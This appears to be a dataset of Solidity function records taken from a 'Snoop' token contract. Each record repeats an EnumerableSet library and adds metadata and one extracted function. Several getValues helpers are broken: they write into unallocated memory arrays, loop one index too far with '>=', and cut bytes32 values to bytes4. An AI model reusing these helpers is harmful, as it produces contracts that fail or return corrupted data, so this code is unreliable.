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Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | EnumerableSet | library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
function _getValues( Set storage set_ ) private view returns ( bytes32[] storage ) {
return set_._values;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) {
require( set_._values.length > index_ );
require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." );
bytes32 existingValue_ = _at( set_, index_ );
set_._values[index_] = valueToInsert_;
return _add( set_, existingValue_);
}
struct Bytes4Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes4Set storage set, bytes4 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes4Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes4Set storage set, uint256 index) internal view returns ( bytes4 ) {
return bytes4( _at( set._inner, index ) );
}
function getValues( Bytes4Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) > iteration_; iteration_++ ) {
bytes4Array_[iteration_] = bytes4( _at( set_._inner, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes4Set storage set_, uint256 index_, bytes4 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns ( bytes32 ) {
return _at(set._inner, index);
}
function getValues( Bytes32Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) >= iteration_; iteration_++ ){
bytes4Array_[iteration_] = bytes4( at( set_, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes32Set storage set_, uint256 index_, bytes32 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
/**
* TODO Might require explicit conversion of bytes32[] to address[].
* Might require iteration.
*/
function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) {
address[] memory addressArray;
for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){
addressArray[iteration_] = at( set_, iteration_ );
}
return addressArray;
}
function insert(AddressSet storage set_, uint256 index_, address valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, bytes32(uint256(valueToInsert_)) );
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
struct UInt256Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UInt256Set storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UInt256Set storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UInt256Set storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UInt256Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UInt256Set storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
} | contains | function contains(UInt256Set storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
| /**
* @dev Returns true if the value is in the set. O(1).
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
12747,
12898
]
} | 8,300 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | EnumerableSet | library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
function _getValues( Set storage set_ ) private view returns ( bytes32[] storage ) {
return set_._values;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) {
require( set_._values.length > index_ );
require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." );
bytes32 existingValue_ = _at( set_, index_ );
set_._values[index_] = valueToInsert_;
return _add( set_, existingValue_);
}
struct Bytes4Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes4Set storage set, bytes4 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes4Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes4Set storage set, uint256 index) internal view returns ( bytes4 ) {
return bytes4( _at( set._inner, index ) );
}
function getValues( Bytes4Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) > iteration_; iteration_++ ) {
bytes4Array_[iteration_] = bytes4( _at( set_._inner, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes4Set storage set_, uint256 index_, bytes4 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns ( bytes32 ) {
return _at(set._inner, index);
}
function getValues( Bytes32Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) >= iteration_; iteration_++ ){
bytes4Array_[iteration_] = bytes4( at( set_, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes32Set storage set_, uint256 index_, bytes32 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
/**
* TODO Might require explicit conversion of bytes32[] to address[].
* Might require iteration.
*/
function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) {
address[] memory addressArray;
for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){
addressArray[iteration_] = at( set_, iteration_ );
}
return addressArray;
}
function insert(AddressSet storage set_, uint256 index_, address valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, bytes32(uint256(valueToInsert_)) );
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
struct UInt256Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UInt256Set storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UInt256Set storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UInt256Set storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UInt256Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UInt256Set storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
} | length | function length(UInt256Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
| /**
* @dev Returns the number of values on the set. O(1).
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
12975,
13094
]
} | 8,301 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | EnumerableSet | library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
function _getValues( Set storage set_ ) private view returns ( bytes32[] storage ) {
return set_._values;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) {
require( set_._values.length > index_ );
require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." );
bytes32 existingValue_ = _at( set_, index_ );
set_._values[index_] = valueToInsert_;
return _add( set_, existingValue_);
}
struct Bytes4Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes4Set storage set, bytes4 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes4Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes4Set storage set, uint256 index) internal view returns ( bytes4 ) {
return bytes4( _at( set._inner, index ) );
}
function getValues( Bytes4Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) > iteration_; iteration_++ ) {
bytes4Array_[iteration_] = bytes4( _at( set_._inner, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes4Set storage set_, uint256 index_, bytes4 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns ( bytes32 ) {
return _at(set._inner, index);
}
function getValues( Bytes32Set storage set_ ) internal view returns ( bytes4[] memory ) {
bytes4[] memory bytes4Array_;
for( uint256 iteration_ = 0; _length( set_._inner ) >= iteration_; iteration_++ ){
bytes4Array_[iteration_] = bytes4( at( set_, iteration_ ) );
}
return bytes4Array_;
}
function insert( Bytes32Set storage set_, uint256 index_, bytes32 valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, valueToInsert_ );
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
/**
* TODO Might require explicit conversion of bytes32[] to address[].
* Might require iteration.
*/
function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) {
address[] memory addressArray;
for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){
addressArray[iteration_] = at( set_, iteration_ );
}
return addressArray;
}
function insert(AddressSet storage set_, uint256 index_, address valueToInsert_ ) internal returns ( bool ) {
return _insert( set_._inner, index_, bytes32(uint256(valueToInsert_)) );
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
struct UInt256Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UInt256Set storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UInt256Set storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UInt256Set storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UInt256Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UInt256Set storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
} | at | function at(UInt256Set storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
| /**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | {
"func_code_index": [
13432,
13574
]
} | 8,302 |
||||
Snoop | contracts/snoopdao/Snoop.sol | 0xa817d002fd82dcfea48de3e1af4f5a748d9b1f9a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
